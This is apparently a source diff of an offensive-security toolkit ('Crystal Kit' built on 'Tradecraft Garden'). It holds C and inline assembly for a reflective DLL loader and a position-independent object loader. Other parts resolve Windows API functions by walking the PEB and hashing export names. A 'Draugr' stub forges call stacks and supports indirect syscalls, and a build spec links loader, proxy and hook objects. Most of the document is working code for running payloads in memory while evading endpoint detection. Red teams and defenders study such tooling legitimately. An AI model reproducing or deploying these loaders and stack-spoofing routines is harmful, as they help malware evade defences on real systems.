* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
typedef VOID NTAPI (*TPALLOCWORK) (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
typedef VOID NTAPI (*TPPOSTWORK) (PTP_WORK);
typedef VOID NTAPI (*TPRELEASEWORK) (PTP_WORK);
typedef struct {
UINT_PTR function;
UINT_PTR argument1;
UINT_PTR argument2;
UINT_PTR argument3;
UINT_PTR argument4;
UINT_PTR argument5;
UINT_PTR argument6;
} NTARGS;
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
WORD offset:12;
WORD type:4;
} __IMAGE_RELOC, *__PIMAGE_RELOC;
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
return dll->OptionalHeader->DataDirectory + entry;
}
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
for (int x = 0; x < relocEntries; x++) {
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
}
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
}
relocEntry++;
}
}
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
IMAGE_DATA_DIRECTORY * relocationData;
ULONG_PTR newBaseAddress;
IMAGE_BASE_RELOCATION * relocation;
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
// calculate the base address delta and perform relocations (even if we load at desired image base)
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
/* check if there are relocations present */
if (relocationData->Size) {
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
while (relocation->SizeOfBlock) {
/* process this next relocation */
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
/* go on to our next relocation */
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
}
}
}
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
void * hLib;
IMAGE_THUNK_DATA * firstThunk;
IMAGE_THUNK_DATA * originalFirstThunk;
IMAGE_IMPORT_BY_NAME * importByName;
ULONG_PTR importByOrdinal;
/* load whatever library we need here */
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
/* get our thunks */
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
* The different member names seem more for semantics than anything else. We're skipping the
* field names in the union and just stomping over whatever is in this pointer-sized structure */
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
while ( DEREF(firstThunk) ) {
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
/*
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
* that our pointer is < MAXUSHORT ala ReactOS:
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
*/
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
}
/* OK, we are doing an import by name. */
else {
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
}
/* increment our pointers, to look at next import option */
firstThunk++;
if (originalFirstThunk)
originalFirstThunk++;
}
}
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
IMAGE_DATA_DIRECTORY * importTableHdr;
IMAGE_IMPORT_DESCRIPTOR * importDesc;
/* grab our header for the import table */
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
/* start with the first function of our import table, we're working solely from our destination memory now */
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
/* walk our import table and process each of the entries */
while (importDesc->Name) {
ProcessImport(funcs, dll, dst, importDesc);
importDesc++;
}
}
void LoadSections(DLLDATA * dll, char * src, char * dst) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
void * sectionSrc = NULL;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our source data to copy from */
sectionSrc = src + sectionHdr->PointerToRawData;
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* copy our section data over */
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
/* advance to our next section */
sectionHdr++;
}
}
void ParseDLL(char * src, DLLDATA * data) {
data->DosHeader = (IMAGE_DOS_HEADER *)src;
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
}
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
}
DWORD SizeOfDLL(DLLDATA * data) {
return data->OptionalHeader->SizeOfImage;
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* copy our headers over to the destination address, if we wish */
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
/* load our section data */
LoadSections(dll, src, dst);
/* process our relocations */
ProcessRelocations(dll, src, dst);
}
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
+154
View File
@@ -0,0 +1,154 @@
/*
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* * Neither the name of Harmony Security nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
+25
View File
@@ -0,0 +1,25 @@
#include <windows.h>
WINBASEAPI int STDAPIVCALLTYPE MSVCRT$vsnprintf (char *, size_t, const char *, ...);
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
WINBASEAPI VOID WINAPI KERNEL32$OutputDebugStringA (LPCSTR);
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
void dprintf(char * format, ...)
{
va_list args;
va_start(args, format);
int len = MSVCRT$vsnprintf(NULL, 0, format, args);
char * temp = (char *)KERNEL32$VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (temp == NULL) {
return;
}
MSVCRT$vsnprintf(temp, len + 1, format, args);
KERNEL32$OutputDebugStringA(temp);
KERNEL32$VirtualFree(temp, 0, MEM_RELEASE);
va_end(args);
}
+205
View File
@@ -0,0 +1,205 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
typedef struct {
int codeLength;
int dataLength;
int rsrcOffset;
int entryAddress;
} PICO_HDR;
#define FIRST_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + sizeof(PICO_HDR))
#define NEXT_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + x->length);
#define PICO_INST_COMPLETE 0x0
#define PICO_INST_PATCH 0x1
#define PICO_INST_COPY 0x2
#define PICO_INST_LL 0x3
#define PICO_INST_GPA 0x4
#define PICO_INST_PATCH_DIFF 0x5
#define PICO_INST_PATCH_FUNC 0x6
#define PICO_PATCH_TEXT_TEXT 0x0
#define PICO_PATCH_TEXT_BASE 0x1
#define PICO_PATCH_BASE_TEXT 0x2
#define PICO_PATCH_BASE_BASE 0x3
#define PICO_PATCHF_FUNC 0x0
#define PICO_CONTEXT_CODE 0x5
#define PICO_CONTEXT_DATA 0x6
typedef struct {
char type;
char option;
short length;
} PICO_DIRECTIVE_HDR;
typedef struct {
PICO_DIRECTIVE_HDR hdr;
int offset;
} PICO_DIRECTIVE_PATCH;
typedef struct {
PICO_DIRECTIVE_HDR hdr;
int src_offset;
int dst_offset;
int total;
} PICO_DIRECTIVE_COPY;
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base) {
PICO_HDR * hdr = (PICO_HDR *)src;
return (PICOMAIN_FUNC)( (char *)base + hdr->entryAddress );
}
int PicoCodeSize(char * src) {
return ( (PICO_HDR *)src )->codeLength;
}
int PicoDataSize(char * src) {
return ( (PICO_HDR *)src )->dataLength;
}
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData) {
PICO_DIRECTIVE_HDR * entry;
PICO_DIRECTIVE_PATCH * patch;
PICO_DIRECTIVE_COPY * copy;
HANDLE module;
char * address;
PICO_HDR * hdr = (PICO_HDR *)src;
entry = FIRST_PICO_DIRECTIVE(hdr);
while (TRUE) {
/*
* The heart and soul of PICO loading. Patching pointers into our destination blob
* to make sure everything works as hoped and expected. x86 doesn't do indirect addressing
* so there's a lot more patches there. But x64 needs some pointer patching too.
*/
if (entry->type == PICO_INST_PATCH) {
ULONG_PTR value;
ULONG_PTR src;
patch = (PICO_DIRECTIVE_PATCH *)entry;
if (entry->option == PICO_PATCH_TEXT_TEXT) {
src = (ULONG_PTR)dstCode;
value = (ULONG_PTR)dstCode;
}
else if (entry->option == PICO_PATCH_TEXT_BASE) {
src = (ULONG_PTR)dstCode;
value = (ULONG_PTR)dstData;
}
else if (entry->option == PICO_PATCH_BASE_TEXT) {
src = (ULONG_PTR)dstData;
value = (ULONG_PTR)dstCode;
}
else if (entry->option == PICO_PATCH_BASE_BASE) {
src = (ULONG_PTR)dstData;
value = (ULONG_PTR)dstData;
}
/* get the existing offset (from whatever base) within the .text section */
value += *(ULONG_PTR *)(src + patch->offset);
/* set it back */
*(ULONG_PTR *)(src + patch->offset) = value;
}
/*
* This block is for updating our function table sitting in our data section. We're
* either dumping the last resolved address at some specific slot OR we're pulling in
* a pre-determined internal API (which is presumed to be an overloaded IMPORTFUNCS
* structure... which we're treating as an array of function pointers basically)
*/
else if (entry->type == PICO_INST_PATCH_FUNC) {
ULONG_PTR value;
patch = (PICO_DIRECTIVE_PATCH *)entry;
if (entry->option == PICO_PATCHF_FUNC) {
value = (ULONG_PTR)address;
}
else {
ULONG_PTR * table = (ULONG_PTR *)funcs;
value = table[entry->option - 1];
}
*(ULONG_PTR *)(dstData + patch->offset) = value;
}
/*
* This is here to support keeping code + data in separate regions in x64 builds.
*/
#ifdef WIN_X64
else if (entry->type == PICO_INST_PATCH_DIFF) {
DWORD value;
patch = (PICO_DIRECTIVE_PATCH *)entry;
/* fetch the value currently at the patch address */
value = *(DWORD *)(dstCode + patch->offset);
/* adjust the value */
value += (ULONG_PTR)dstData - (ULONG_PTR)dstCode;
/* set it back */
*(DWORD *)(dstCode + patch->offset) = value;
}
#endif
/*
* Directive copies from our packed src to our destination. We do it this way to allow
* our .text section to pack down to its raw value and we expand it to its page-aligned
* size after.
*/
else if (entry->type == PICO_INST_COPY) {
copy = (PICO_DIRECTIVE_COPY *)entry;
char * dst;
/* make sure we're copying to the right context */
if (entry->option == PICO_CONTEXT_CODE)
dst = dstCode;
else
dst = dstData;
/* do our copy */
__movsb((unsigned char *)dst + copy->dst_offset, (unsigned char *)src + hdr->rsrcOffset + copy->src_offset, copy->total);
}
/*
* Directive does a LoadLibraryA() to set our handle. Used as a precursor to any
* GetProcAddress lookups based on this later on.
*/
else if (entry->type == PICO_INST_LL) {
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
module = funcs->LoadLibraryA(arg);
}
/*
* Call GetProcAddress on an argument. A precursor to a PATCH_FUNC instruction to push
* this pointer to the appropriate spot within our PICO blob.
*/
else if (entry->type == PICO_INST_GPA) {
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
address = (char *)funcs->GetProcAddress(module, arg);
}
/*
* An instruction to indicate the loading is complete and we should return.
*/
else if (entry->type == PICO_INST_COMPLETE) {
return;
}
entry = NEXT_PICO_DIRECTIVE(entry);
}
}
+102
View File
@@ -0,0 +1,102 @@
/*
* This is just the Draugr assembly stub used to prep the stack
* and make the API call. It does mean that anything calling this
* has to do the work of prepping the structs with the fake
* frame data and such...
*/
void * __attribute__((naked)) SpoofStub()
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"pop rax;" // Real return address in rax
"mov r10, rdi;" // Store OG rdi in r10
"mov r11, rsi;" // Store OG rsi in r11
"mov rdi, [rsp + 32];" // Storing struct in rdi
"mov rsi, [rsp + 40];" // Storing function to call
// Storing our original registers
"mov [rdi + 24], r10;" // Storing OG rdi into param
"mov [rdi + 88], r11;" // Storing OG rsi into param
"mov [rdi + 96], r12;" // Storing OG r12 into param
"mov [rdi + 104], r13;" // Storing OG r13 into param
"mov [rdi + 112], r14;" // Storing OG r14 into param
"mov [rdi + 120], r15;" // Storing OG r15 into param
"mov r12, rax;" // OG code used r12 for ret addr
// Prepping to move stack args
"xor r11, r11;" // r11 will hold the # of args that have been pushed
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
"add r14, 8;"
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
"add r14, [rdi + 32];" // stack size of our gadget frame
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
"mov r10, rsp;"
"add r10, 0x30;" // offset of stack arg added to rsp
"looping:;"
"xor r15, r15;" // r15 will hold the offset + rsp base
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
"je finish;"
// Getting location to move the stack arg to
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
"mov r15, rsp;" // get current stack base
"sub r15, r14;" // subtract offset
// Procuring the stack arg
"add r10, 8;"
"push qword ptr [r10];"
"pop qword ptr [r15];"
// Increment the counter and loop back in case we need more args
"add r11, 1;"
"jmp looping;"
"finish:;"
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
"mov r11, [rdi + 64];"
"mov [rsp], r11;"
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
"mov r11, [rdi + 40];"
"mov [rsp], r11;"
"sub rsp, [rdi + 48];" // Gadget frame
"mov r11, [rdi + 80];"
"mov [rsp], r11;"
// Adjusting the param struct for the fixup
"mov r11, rsi;" // Copying function to call into r11
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
// For indirect syscall use. If you want to use it, make sure to set ssn
// in param struct first.Otherwise, this is ignored by the callee.
"mov r10, rcx;"
"mov rax, [rdi + 72];"
"jmp r11;"
"fixup:;"
"mov rcx, rbx;"
"add rsp, 0x200;" // Remove our large frame
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
"mov rbx, [rcx + 16];" // Restoring OG RBX
"mov rdi, [rcx + 24];" // Restoring OG rdi
"mov rsi, [rcx + 88];" // Restoring OG rsi
"mov r12, [rcx + 96];" // Restoring OG r12
"mov r13, [rcx + 104];" // Restoring OG r13
"mov r14, [rcx + 112];" // Restoring OG r14
"mov r15, [rcx + 120];" // Restoring OG r15
"push rax;"
"xor rax, rax;"
"pop rax;"
"jmp qword ptr [rcx + 8];"
".att_syntax prefix"
);
}
+22
View File
@@ -0,0 +1,22 @@
#include <windows.h>
typedef struct _DRAUGR_PARAMETERS {
PVOID Fixup; // 0
PVOID OriginalReturnAddress; // 8
PVOID Rbx; // 16
PVOID Rdi; // 24
PVOID BaseThreadInitThunkStackSize; // 32
PVOID BaseThreadInitThunkReturnAddress; // 40
PVOID TrampolineStackSize; // 48
PVOID RtlUserThreadStartStackSize; // 56
PVOID RtlUserThreadStartReturnAddress; // 64
PVOID Ssn; // 72
PVOID Trampoline; // 80
PVOID Rsi; // 88
PVOID R12; // 96
PVOID R13; // 104
PVOID R14; // 112
PVOID R15; // 120
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
+108
View File
@@ -0,0 +1,108 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/*
* Walk the Export Address Table to resolve functions by hash
*/
char * findModuleByHash(DWORD moduleHash) {
_PEB * pPEB;
LDR_DATA_TABLE_ENTRY * pEntry;
char * name;
DWORD hashValue;
USHORT counter;
/* get the Process Enviroment Block */
#if defined WIN_X64
pPEB = (_PEB *)__readgsqword( 0x60 );
#elif defined WIN_X86
pPEB = (_PEB *)__readfsdword( 0x30 );
#else
#error "Neither WIN_X64 or WIN_X86 is defined"
#endif
/* walk the module list */
pEntry = (LDR_DATA_TABLE_ENTRY *)pPEB->pLdr->InMemoryOrderModuleList.Flink;
while (pEntry) {
/* pEntry->BaseDllName is a UNICODE_STRING, pBuffer is wchar_t*, and Length is IN bytes.
We are walking and hashing this string, one byte at a time */
name = (char *)pEntry->BaseDllName.pBuffer;
counter = pEntry->BaseDllName.Length;
/* calculate the hash of our DLL name */
hashValue = 0;
do {
hashValue = ror(hashValue);
if (*name >= 'a')
hashValue += (BYTE)*name - 0x20;
else
hashValue += (BYTE)*name;
name++;
} while (--counter);
/* if we have a match, return it */
if (hashValue == moduleHash)
return pEntry->DllBase;
/* next entry */
pEntry = (LDR_DATA_TABLE_ENTRY *)pEntry->InMemoryOrderModuleList.Flink;
}
return NULL;
}
void * findFunctionByHash(char * src, DWORD wantedFunction) {
DLLDATA data;
IMAGE_DATA_DIRECTORY * exportTableHdr;
IMAGE_EXPORT_DIRECTORY * exportDir;
DWORD * exportName;
WORD * exportOrdinal;
DWORD * exportAddress;
DWORD hashValue;
/* parse our DLL! */
ParseDLL(src, &data);
/* grab our export directory */
exportTableHdr = GetDataDirectory(&data, IMAGE_DIRECTORY_ENTRY_EXPORT);
exportDir = (IMAGE_EXPORT_DIRECTORY *)PTR_OFFSET(src, exportTableHdr->VirtualAddress);
/* walk the array of exported names/address ordinals */
exportName = (DWORD *)PTR_OFFSET(src, exportDir->AddressOfNames);
exportOrdinal = (WORD *) PTR_OFFSET(src, exportDir->AddressOfNameOrdinals);
while (TRUE) {
hashValue = hash( (char *)PTR_OFFSET(src, *exportName) );
if (hashValue == wantedFunction) {
/* figure out the base of our AddressOfFunctions array */
exportAddress = PTR_OFFSET(src, exportDir->AddressOfFunctions);
/* increment it by the current value of our exportOrdinal array */
exportAddress += *exportOrdinal;
/* and... there-in is our virtual address to the actual ptr we want */
return PTR_OFFSET(src, *exportAddress);
}
exportName++;
exportOrdinal++;
}
}
+18
View File
@@ -0,0 +1,18 @@
#include <windows.h>
int _strncmp(const char* s1, const char* s2, SIZE_T n)
{
while (n-- > 0)
{
unsigned char c1 = (unsigned char)*s1++;
unsigned char c2 = (unsigned char)*s2++;
if (c1 != c2)
return c1 - c2;
if (c1 == '\0')
break;
}
return 0;
}
+20
View File
@@ -0,0 +1,20 @@
CC_64=x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
debug: bin/debug.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
bin/debug.x64.o: bin
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
$(CC_64) -DWIN_X64 -DDEBUG -g -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
clean:
rm -f bin/*
+27
View File
@@ -0,0 +1,27 @@
name "Crystal Kit"
describe ""
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic
load "bin/proxy.x64.o"
make pic
export
preplen
link "my_proxy"
generate $HKEY 128
load "bin/hook.x64.o"
